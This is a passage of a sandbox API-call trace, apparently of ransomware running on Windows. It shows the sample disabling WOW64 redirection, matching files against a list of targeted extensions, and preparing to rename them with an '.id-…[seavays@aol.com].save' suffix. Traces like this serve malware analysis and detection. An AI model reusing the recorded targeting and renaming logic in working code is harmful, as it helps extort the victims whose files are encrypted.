(lpModuleName="kernel32.dll") returned 0x771e0000 [0205.492] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.492] Wow64DisableWow64FsRedirection (in: OldValue=0x32aff7c | out: OldValue=0x32aff7c*=0x0) returned 1 [0205.492] lstrlenW (lpString="kernel32.dll") returned 12 [0205.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.492] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fea08 | out: hHeap=0x5c0000) returned 1 [0205.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x64e298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0205.493] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0205.795] GetTickCount () returned 0x1e143 [0205.795] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0205.996] GetTickCount () returned 0x1e20e [0205.996] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0206.268] GetTickCount () returned 0x1e327 [0206.268] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0206.566] GetTickCount () returned 0x1e450 [0206.566] GetTickCount () returned 0x1e450 [0206.566] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0206.987] GetTickCount () returned 0x1e5f6 [0206.987] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0207.595] GetTickCount () returned 0x1e857 [0207.595] GetTickCount () returned 0x1e857 [0207.595] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0208.166] GetTickCount () returned 0x1ea8a [0208.166] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0208.621] GetTickCount () returned 0x1ec4f [0208.621] GetTickCount () returned 0x1ec4f [0208.621] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0209.047] GetTickCount () returned 0x1edf5 [0209.047] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0209.540] GetTickCount () returned 0x1efe9 [0209.540] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0210.077] GetTickCount () returned 0x1f20c [0210.077] GetTickCount () returned 0x1f20c [0210.077] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0210.548] GetTickCount () returned 0x1f3d1 [0210.548] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0211.209] GetTickCount () returned 0x1f671 [0211.209] GetTickCount () returned 0x1f671 [0211.209] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) Thread: id = 99 os_tid = 0x4cc [0205.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3530958 [0205.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3540960 [0205.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617248 [0205.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e458 [0205.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617188 [0205.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3dfb020 [0205.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6171a0 [0205.688] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6171a0, Size=0x20) returned 0x5fe9e0 [0205.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617260 [0205.689] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617260, Size=0x20) returned 0x5fed28 [0205.689] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.689] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.689] Wow64DisableWow64FsRedirection (in: OldValue=0x38eff50 | out: OldValue=0x38eff50*=0x0) returned 1 [0205.689] lstrlenW (lpString="kernel32.dll") returned 12 [0205.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.689] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.690] Sleep (dwMilliseconds=0x64) [0205.989] lstrcmpiW (lpString1=".MARKER", lpString2=".save") returned -1 [0205.989] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0205.989] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0205.990] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=0) returned 1 [0205.990] CloseHandle (hObject=0x334) returned 1 [0205.990] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.991] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.991] lstrlenW (lpString=".doc") returned 4 [0205.991] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString=".docx") returned 5 [0205.991] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0205.991] lstrlenW (lpString=".pdf") returned 4 [0205.991] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString=".xls") returned 4 [0205.991] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString=".xlsx") returned 5 [0205.991] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0205.991] lstrlenW (lpString=".ppt") returned 4 [0205.991] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.991] lstrlenW (lpString=".zip") returned 4 [0205.991] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString=".rar") returned 4 [0205.991] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString=".bz2") returned 4 [0205.991] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString=".7z") returned 3 [0205.991] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0205.991] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.991] lstrlenW (lpString=".dbf") returned 4 [0205.991] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0205.991] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.992] lstrlenW (lpString=".1cd") returned 4 [0205.992] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.992] lstrlenW (lpString=".jpg") returned 4 [0205.992] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.992] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.992] lstrlenW (lpString=".doc") returned 4 [0205.992] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString=".docx") returned 5 [0205.992] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0205.992] lstrlenW (lpString=".pdf") returned 4 [0205.992] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString=".xls") returned 4 [0205.992] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString=".xlsx") returned 5 [0205.992] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0205.992] lstrlenW (lpString=".ppt") returned 4 [0205.992] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.992] lstrlenW (lpString=".zip") returned 4 [0205.992] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString=".rar") returned 4 [0205.992] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0205.992] lstrlenW (lpString=".bz2") returned 4 [0205.993] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0205.993] lstrlenW (lpString=".7z") returned 3 [0205.993] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0205.993] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.993] lstrlenW (lpString=".dbf") returned 4 [0205.993] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0205.993] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.993] lstrlenW (lpString=".1cd") returned 4 [0205.993] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0205.993] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0205.993] lstrlenW (lpString=".jpg") returned 4 [0205.993] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0205.993] Sleep (dwMilliseconds=0x64) [0206.268] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.268] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0206.268] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.674] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=154427) returned 1 [0206.674] CloseHandle (hObject=0x33c) returned 1 [0206.674] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0206.675] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.675] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.297] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.297] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.297] lstrlenW (lpString=".doc") returned 4 [0207.298] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0207.298] lstrlenW (lpString=".docx") returned 5 [0207.298] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0207.298] lstrlenW (lpString=".pdf") returned 4 [0207.298] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0207.298] lstrlenW (lpString=".xls") returned 4 [0207.298] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0207.298] lstrlenW (lpString=".xlsx") returned 5 [0207.298] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0207.298] lstrlenW (lpString=".ppt") returned 4 [0207.298] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0207.298] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.298] lstrlenW (lpString=".zip") returned 4 [0207.298] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0207.298] lstrlenW (lpString=".rar") returned 4 [0207.298] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0207.298] lstrlenW (lpString=".bz2") returned 4 [0207.299] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0207.299] lstrlenW (lpString=".7z") returned 3 [0207.299] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0207.299] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.299] lstrlenW (lpString=".dbf") returned 4 [0207.299] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0207.299] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.299] lstrlenW (lpString=".1cd") returned 4 [0207.299] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0207.299] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.299] lstrlenW (lpString=".jpg") returned 4 [0207.299] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0207.299] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.299] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.299] lstrlenW (lpString=".doc") returned 4 [0207.299] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0207.299] lstrlenW (lpString=".docx") returned 5 [0207.299] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0207.299] lstrlenW (lpString=".pdf") returned 4 [0207.299] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0207.299] lstrlenW (lpString=".xls") returned 4 [0207.299] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0207.299] lstrlenW (lpString=".xlsx") returned 5 [0207.299] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0207.300] lstrlenW (lpString=".ppt") returned 4 [0207.300] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0207.300] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.300] lstrlenW (lpString=".zip") returned 4 [0207.300] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0207.300] lstrlenW (lpString=".rar") returned 4 [0207.300] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0207.300] lstrlenW (lpString=".bz2") returned 4 [0207.300] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0207.300] lstrlenW (lpString=".7z") returned 3 [0207.300] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0207.300] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.300] lstrlenW (lpString=".dbf") returned 4 [0207.300] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0207.300] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.300] lstrlenW (lpString=".1cd") returned 4 [0207.300] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0207.300] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0207.300] lstrlenW (lpString=".jpg") returned 4 [0207.300] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0207.300] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.301] lstrlenW (lpString="sqlxmlx.dll") returned 11 [0207.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.302] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=326144) returned 1 [0207.302] CloseHandle (hObject=0x33c) returned 1 [0207.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0207.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.302] lstrlenW (lpString=".doc") returned 4 [0207.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.302] lstrlenW (lpString=".docx") returned 5 [0207.302] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0207.302] lstrlenW (lpString=".pdf") returned 4 [0207.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.303] lstrlenW (lpString=".xls") returned 4 [0207.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.303] lstrlenW (lpString=".xlsx") returned 5 [0207.303] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0207.303] lstrlenW (lpString=".ppt") returned 4 [0207.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.303] lstrlenW (lpString=".zip") returned 4 [0207.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.303] lstrlenW (lpString=".rar") returned 4 [0207.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.303] lstrlenW (lpString=".bz2") returned 4 [0207.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.303] lstrlenW (lpString=".7z") returned 3 [0207.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.303] lstrlenW (lpString=".dbf") returned 4 [0207.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.303] lstrlenW (lpString=".1cd") returned 4 [0207.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.303] lstrlenW (lpString=".jpg") returned 4 [0207.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.304] lstrlenW (lpString=".doc") returned 4 [0207.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString=".docx") returned 5 [0207.304] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0207.304] lstrlenW (lpString=".pdf") returned 4 [0207.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString=".xls") returned 4 [0207.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString=".xlsx") returned 5 [0207.304] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0207.304] lstrlenW (lpString=".ppt") returned 4 [0207.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.304] lstrlenW (lpString=".zip") returned 4 [0207.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString=".rar") returned 4 [0207.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.304] lstrlenW (lpString=".bz2") returned 4 [0207.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.304] lstrlenW (lpString=".7z") returned 3 [0207.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.304] lstrlenW (lpString=".dbf") returned 4 [0207.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.305] lstrlenW (lpString=".1cd") returned 4 [0207.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0207.305] lstrlenW (lpString=".jpg") returned 4 [0207.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.305] lstrcmpiW (lpString1=".rll", lpString2=".save") returned -1 [0207.305] lstrlenW (lpString="sqlxmlx.rll") returned 11 [0207.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.306] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=2560) returned 1 [0207.306] CloseHandle (hObject=0x33c) returned 1 [0207.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0207.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.307] lstrlenW (lpString=".doc") returned 4 [0207.307] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0207.307] lstrlenW (lpString=".docx") returned 5 [0207.307] lstrcmpiW (lpString1=".docx", lpString2="x.rll") returned -1 [0207.307] lstrlenW (lpString=".pdf") returned 4 [0207.307] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0207.307] lstrlenW (lpString=".xls") returned 4 [0207.307] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0207.307] lstrlenW (lpString=".xlsx") returned 5 [0207.307] lstrcmpiW (lpString1=".xlsx", lpString2="x.rll") returned -1 [0207.307] lstrlenW (lpString=".ppt") returned 4 [0207.307] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0207.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.307] lstrlenW (lpString=".zip") returned 4 [0207.307] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0207.307] lstrlenW (lpString=".rar") returned 4 [0207.307] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0207.307] lstrlenW (lpString=".bz2") returned 4 [0207.307] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0207.307] lstrlenW (lpString=".7z") returned 3 [0207.308] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0207.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.308] lstrlenW (lpString=".dbf") returned 4 [0207.308] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0207.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.308] lstrlenW (lpString=".1cd") returned 4 [0207.308] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0207.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.308] lstrlenW (lpString=".jpg") returned 4 [0207.308] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0207.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.308] lstrlenW (lpString=".doc") returned 4 [0207.308] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0207.308] lstrlenW (lpString=".docx") returned 5 [0207.308] lstrcmpiW (lpString1=".docx", lpString2="x.rll") returned -1 [0207.308] lstrlenW (lpString=".pdf") returned 4 [0207.308] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0207.308] lstrlenW (lpString=".xls") returned 4 [0207.308] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0207.308] lstrlenW (lpString=".xlsx") returned 5 [0207.308] lstrcmpiW (lpString1=".xlsx", lpString2="x.rll") returned -1 [0207.308] lstrlenW (lpString=".ppt") returned 4 [0207.308] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0207.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.309] lstrlenW (lpString=".zip") returned 4 [0207.309] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0207.309] lstrlenW (lpString=".rar") returned 4 [0207.309] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0207.309] lstrlenW (lpString=".bz2") returned 4 [0207.309] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0207.309] lstrlenW (lpString=".7z") returned 3 [0207.309] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0207.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.309] lstrlenW (lpString=".dbf") returned 4 [0207.309] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0207.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.309] lstrlenW (lpString=".1cd") returned 4 [0207.309] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0207.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0207.309] lstrlenW (lpString=".jpg") returned 4 [0207.309] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0207.309] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.310] lstrlenW (lpString="wab32.dll") returned 9 [0207.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.311] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=854528) returned 1 [0207.311] CloseHandle (hObject=0x33c) returned 1 [0207.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0207.311] 